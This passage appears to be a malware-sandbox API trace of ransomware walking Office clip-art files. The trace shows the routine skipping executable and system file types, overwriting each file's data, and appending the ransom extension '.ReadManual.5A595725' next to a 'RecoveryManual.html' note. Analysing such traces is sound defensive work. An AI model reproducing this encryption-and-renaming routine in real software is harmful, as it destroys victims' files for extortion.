(hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.780] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.780] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.782] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.782] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x460) returned 0x2f0000 [0270.782] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.782] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39145077266) returned 1 [0270.782] CloseHandle (hObject=0x184) returned 1 [0270.782] SetSecurityInfo () returned 0x57 [0270.782] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.782] CloseHandle (hObject=0x194) returned 1 [0270.782] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x270, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA01849_.WMF", cAlternateFileName="")) returned 1 [0270.782] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA01849_.WMF" | out: lpString1="NA01849_.WMF") returned="NA01849_.WMF" [0270.782] lstrcmpiW (lpString1="NA01849_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.782] StrStrIW (lpFirst="NA01849_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.782] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.782] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.783] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.783] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.783] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.783] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.783] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.783] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.783] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.783] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.783] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.783] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.783] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.783] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.783] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01849_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01849_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01849_.WMF" [0270.783] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01849_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01849_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01849_.WMF.ReadManual.5A595725" [0270.783] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01849_.WMF.ReadManual.5A595725") returned 87 [0270.783] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39145175492) returned 1 [0270.783] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01849_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01849_.wmf")) returned 0x20 [0270.784] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01849_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01849_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.784] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=624) returned 1 [0270.784] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x270, lpName=0x0) returned 0x184 [0270.784] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.786] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.786] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.788] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.788] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x270) returned 0x2f0000 [0270.788] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.788] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39145665419) returned 1 [0270.788] CloseHandle (hObject=0x184) returned 1 [0270.788] SetSecurityInfo () returned 0x57 [0270.788] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.788] CloseHandle (hObject=0x194) returned 1 [0270.788] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a04ab00, ftCreationTime.dwHighDateTime=0x1bd4bfd, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2a04ab00, ftLastWriteTime.dwHighDateTime=0x1bd4bfd, nFileSizeHigh=0x0, nFileSizeLow=0x1138, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA01852_.WMF", cAlternateFileName="")) returned 1 [0270.788] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA01852_.WMF" | out: lpString1="NA01852_.WMF") returned="NA01852_.WMF" [0270.788] lstrcmpiW (lpString1="NA01852_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.788] StrStrIW (lpFirst="NA01852_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.788] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.788] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.788] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.788] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.788] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.788] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.789] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.789] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.789] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.789] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.789] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.789] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.789] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.789] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.789] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01852_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01852_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01852_.WMF" [0270.789] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01852_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01852_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01852_.WMF.ReadManual.5A595725" [0270.789] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01852_.WMF.ReadManual.5A595725") returned 87 [0270.789] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39145764941) returned 1 [0270.789] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01852_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01852_.wmf")) returned 0x20 [0270.789] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01852_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01852_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.790] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4408) returned 1 [0270.790] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1138, lpName=0x0) returned 0x184 [0270.790] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.790] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.790] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.793] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.793] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1138) returned 0x2f0000 [0270.793] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.793] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39146206317) returned 1 [0270.793] CloseHandle (hObject=0x184) returned 1 [0270.793] SetSecurityInfo () returned 0x57 [0270.794] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.794] CloseHandle (hObject=0x194) returned 1 [0270.794] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x10c8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA01858_.WMF", cAlternateFileName="")) returned 1 [0270.794] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA01858_.WMF" | out: lpString1="NA01858_.WMF") returned="NA01858_.WMF" [0270.794] lstrcmpiW (lpString1="NA01858_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.794] StrStrIW (lpFirst="NA01858_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.794] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.794] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.794] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.794] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.794] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.794] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.794] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.794] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.794] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.794] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.794] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.794] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.794] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.794] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.794] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01858_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01858_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01858_.WMF" [0270.794] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01858_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01858_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01858_.WMF.ReadManual.5A595725" [0270.794] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01858_.WMF.ReadManual.5A595725") returned 87 [0270.794] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39146307028) returned 1 [0270.794] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01858_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01858_.wmf")) returned 0x20 [0270.795] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01858_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01858_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.795] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4296) returned 1 [0270.795] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10c8, lpName=0x0) returned 0x184 [0270.795] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.796] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.796] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.797] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.797] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10c8) returned 0x2f0000 [0270.798] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.798] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39146648464) returned 1 [0270.798] CloseHandle (hObject=0x184) returned 1 [0270.798] SetSecurityInfo () returned 0x57 [0270.798] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.798] CloseHandle (hObject=0x194) returned 1 [0270.798] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa55a300, ftCreationTime.dwHighDateTime=0x1bd4bfc, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa55a300, ftLastWriteTime.dwHighDateTime=0x1bd4bfc, nFileSizeHigh=0x0, nFileSizeLow=0xdb8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA01866_.WMF", cAlternateFileName="")) returned 1 [0270.798] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA01866_.WMF" | out: lpString1="NA01866_.WMF") returned="NA01866_.WMF" [0270.798] lstrcmpiW (lpString1="NA01866_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.798] StrStrIW (lpFirst="NA01866_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.798] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.798] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.798] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.798] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.798] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.798] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.798] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.798] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.798] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.798] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.798] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.799] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.799] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.799] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.799] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01866_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01866_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01866_.WMF" [0270.799] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01866_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01866_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01866_.WMF.ReadManual.5A595725" [0270.799] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01866_.WMF.ReadManual.5A595725") returned 87 [0270.799] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39146747146) returned 1 [0270.799] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01866_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01866_.wmf")) returned 0x20 [0270.799] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01866_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01866_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.799] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3512) returned 1 [0270.799] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdb8, lpName=0x0) returned 0x184 [0270.799] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.800] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.800] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.802] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.802] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdb8) returned 0x2f0000 [0270.802] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.802] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39147082621) returned 1 [0270.802] CloseHandle (hObject=0x184) returned 1 [0270.802] SetSecurityInfo () returned 0x57 [0270.802] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.802] CloseHandle (hObject=0x194) returned 1 [0270.802] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x27e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA02009_.WMF", cAlternateFileName="")) returned 1 [0270.802] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA02009_.WMF" | out: lpString1="NA02009_.WMF") returned="NA02009_.WMF" [0270.802] lstrcmpiW (lpString1="NA02009_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.802] StrStrIW (lpFirst="NA02009_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.803] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.803] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.803] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.803] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.803] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.803] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.803] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.803] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.803] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.803] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.803] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.803] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.803] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.803] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.803] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02009_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02009_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02009_.WMF" [0270.803] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02009_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02009_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02009_.WMF.ReadManual.5A595725" [0270.803] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02009_.WMF.ReadManual.5A595725") returned 87 [0270.803] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39147179388) returned 1 [0270.803] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02009_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02009_.wmf")) returned 0x20 [0270.803] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02009_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02009_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.804] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=10208) returned 1 [0270.804] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x27e0, lpName=0x0) returned 0x184 [0270.804] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.804] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.804] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.806] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.807] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x27e0) returned 0x2f0000 [0270.807] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.807] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39147563239) returned 1 [0270.807] CloseHandle (hObject=0x184) returned 1 [0270.807] SetSecurityInfo () returned 0x57 [0270.807] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.807] CloseHandle (hObject=0x194) returned 1 [0270.807] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x620ded00, ftCreationTime.dwHighDateTime=0x1bd4c01, 